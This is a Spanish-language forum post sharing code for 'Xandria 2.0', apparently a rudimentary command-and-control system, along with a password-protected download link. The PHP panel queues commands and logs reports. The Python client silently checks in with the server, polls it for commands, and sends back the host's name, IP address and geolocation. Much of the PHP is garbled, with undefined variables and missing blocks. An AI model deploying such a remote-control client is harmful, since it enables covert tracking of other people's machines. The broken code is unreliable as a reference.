Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das.
Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar.
Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad.
https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxYClave: skollprog
Código PHP:
<?php
if (isset($_POST["xandria"])) {
if (isset($_POST["query"])) {
$query = $_POST["query"];
$date = date("Y-m-d H:i:s"); $file = fopen("query.txt", "w");
fwrite($file, $date . ", " . $query);
}
if (isset($_POST["logs"])) {
$logs = $_POST["logs"];
$fname = "logs.txt";
{
if ($argv[0] == "-f" or $argv[0] == "first")
{
for ($i = 0; $i < $argv[1]; $i++)
{
{
$date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>";
}
}
}
else if ($argv[0] == "-l" or $argv[0] == "last")
{
for ($i = 0; $i < $argv[1]; $i++)
{
{
$x = count($temp) - 1 - $i; $date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>";
}
}
}
else if ($argv[0] == "-i" or $argv[0] == "index")
{
if ($argv[1] == "*" or $argv[1] == "all")
{
foreach ($temp as $log)
{
$date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>";
}
}
else
{
$i = $argv[1] - 1;
{
$date = '<u class="grey">' . trim($data[0]) . "</u>, "; $name = '<span class="blue">' . trim($data[1]) . "</span>, "; $addr = '<span class="red">' . trim($data[2]) . "</span>, "; echo $date . $name . $addr . $info . "<br>";
}
else
{
echo "invalid_log";
}
}
}
else
{
echo "invalid_argument";
}
}
}
if (isset($_POST["server"])) {
$url = "http://" . $_SERVER["HTTP_HOST"] . "/";
echo $url . "<br>";
}
if (isset($_POST["build"])) {
$file = "xandria.py";
echo $file . "<br>";
}
if (isset($_POST["report"])) {
$fname = "logs.txt";
$file = fopen($fname, "a+"); $host = $_POST["host"];
$ip = $_POST["ip"];
$msg = $_POST["report"];
fwrite($file, date("Y-m-d H:i:s") . ", " . $host . ", " . $ip . ", " . $msg . "\n"); }
}
else
{
?>
<!DOCTYPE html>
<html>
<head>
<title>Xandria 2.0 - Client</title>
<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
<script type="text/javascript" src="assets/js/jquery.js"></script>
<script type="text/javascript" src="assets/js/terminal.js"></script>
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
</head>
<body>
<span class="bg-black tag-init"> </span> <span class="bg-black"> XANDRIA </span> 2.0
<div class="content"></div>
<div class="prompt"><br>
□:// <input type="text" name="prompt">
</div>
</body>
</html>
<?php } ?>
Código Python:
import time
import socket
import requests
import json
SERVER_URL = "http://localhost/xandria/"
def geolocate():
try:
url = "http://freegeoip.net/json"
data = requests.get(url)
data = json.loads(data.text)
return data
except: return None
def ip():
data = geolocate()
if data != None:
return data["ip"]
else: return "unknown"
def country():
data = geolocate()
if data != None:
return data["country_name"]
else: return "unknown"
def city():
data = geolocate()
if data != None:
return data["city"]
else: return "unknown"
def timezone():
data = geolocate()
if data != None:
return data["time_zone"]
else: return "unknown"
def geocoords():
data = geolocate()
if data != None:
coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"])
return coords
else: return "unknown"
def hostname():
try:
return socket.gethostname()
except: return "unknown"
def query():
try:
data = requests.get(server + "query.txt").text.split(",")
if data[0] in queries:
return None
else:
queries.append(data[0])
return data[1].strip()
except: return None
def report(message):
try:
requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message})
except: pass
host = hostname()
address = ip()
server = SERVER_URL
queries = []
report("Online")
while True:
try:
data = query()
if data != None:
argv = data.split(" ")
if data == "hostname" : report(hostname())
if data == "ip" : report(ip())
if data == "country" : report(country())
if data == "city" : report(city())
if data == "timezone" : report(timezone())
if data == "geocoords": report(geocoords())
except:
pass
time.sleep(5)